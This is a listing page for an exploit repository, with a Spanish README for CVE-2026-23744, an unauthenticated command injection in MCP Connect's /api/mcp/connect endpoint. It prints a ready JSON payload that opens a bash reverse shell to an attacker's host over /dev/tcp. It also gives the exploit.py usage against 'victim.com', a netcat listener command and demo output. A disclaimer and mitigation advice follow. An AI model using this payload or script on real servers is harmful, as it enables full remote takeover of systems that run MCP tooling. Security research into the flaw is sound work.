MCP Connect 远程代码执行漏洞利用

该漏洞利用针对 CVE-2026-23744 中 MCP Connect 的 /api/mcp/connect 端点,通过未认证命令注入实现远程代码执行,用于在授权安全测试中获取目标服务器的反向 Shell。

  • by CyLock11
  • Python
  • 本地部署
  • 更新于
在 GitHub 查看 CyLock11/CVE-2026-23744

使用说明

CVE-2026-23744 — MCP Connect RCE via Unauthenticated Command Injection

⚠️ Disclaimer: Este repositorio es solo con fines educativos y de investigación en seguridad. El uso de este exploit contra sistemas sin autorización explícita es ilegal. El autor no se hace responsable del mal uso de este código.


📌 Descripción de la Vulnerabilidad

La vulnerabilidad reside en el endpoint /api/mcp/connect, el cual permite a un atacante no autenticado registrar un servidor MCP (Model Context Protocol) arbitrario con una configuración maliciosa. Al no existir validación ni sanitización del campo command y sus args, es posible inyectar comandos del sistema operativo que se ejecutan directamente en el servidor con los privilegios del proceso web.

Esto resulta en una ejecución remota de código (RCE) que puede aprovecharse para obtener una reverse shell sobre el sistema comprometido.


🧠 Detalles Técnicos

Campo Detalle
Tipo Remote Code Execution (RCE)
Vector Red (HTTP POST sin autenticación)
Endpoint /api/mcp/connect
Severidad 🔴 Crítica
Autenticación No requerida
Impacto Control total del servidor

Payload malicioso

{
  "serverId": "shell1",
  "serverConfig": {
    "command": "bash",
    "args": ["-c", "bash -i >& /dev/tcp/<LHOST>/443 0>&1"],
    "env": {}
  }
}

El servidor procesa esta configuración e invoca el comando bash con los argumentos proporcionados, estableciendo una conexión TCP inversa hacia el atacante.


🛠️ Requisitos

  • Python 3.x
  • Las siguientes librerías:
pip install requests termcolor

🚀 Uso

python3 exploit.py -l <TU_IP> -u <URL_OBJETIVO>

Parámetros

Parámetro Descripción Ejemplo
-l Tu IP (donde recibirás la shell) 192.168.1.50
-u URL base del objetivo https://victim.com

Ejemplo completo

Terminal 1 — Listener:

nc -nlvp 443

Terminal 2 — Exploit:

python3 exploit.py -l 192.168.1.50 -u https://victim.com

🎬 Demo

[-] Please, execute the following command in another terminal:

[+] nc -nlvp 443

[-] Press 'Enter' when the command has been executed...

[+] Sending attack request...

Una vez enviada la solicitud, el listener en el puerto 443 recibirá la conexión inversa con una shell interactiva del servidor comprometido.


🛡️ Mitigación

  • Validar y sanitizar todos los campos del body en /api/mcp/connect antes de procesarlos.
  • Autenticar el endpoint y restringir su acceso solo a usuarios con privilegios.
  • Nunca ejecutar comandos del sistema directamente a partir de input del usuario.
  • Implementar una lista blanca de comandos permitidos.
  • Aplicar principio de mínimo privilegio al proceso del servidor web.

📁 Estructura del Repositorio

.
├── exploit.py       # Script principal del exploit
└── README.md        # Este archivo

👤 Autor

Desarrollado con fines de investigación en seguridad ofensiva por Jorge Arana Fedriani.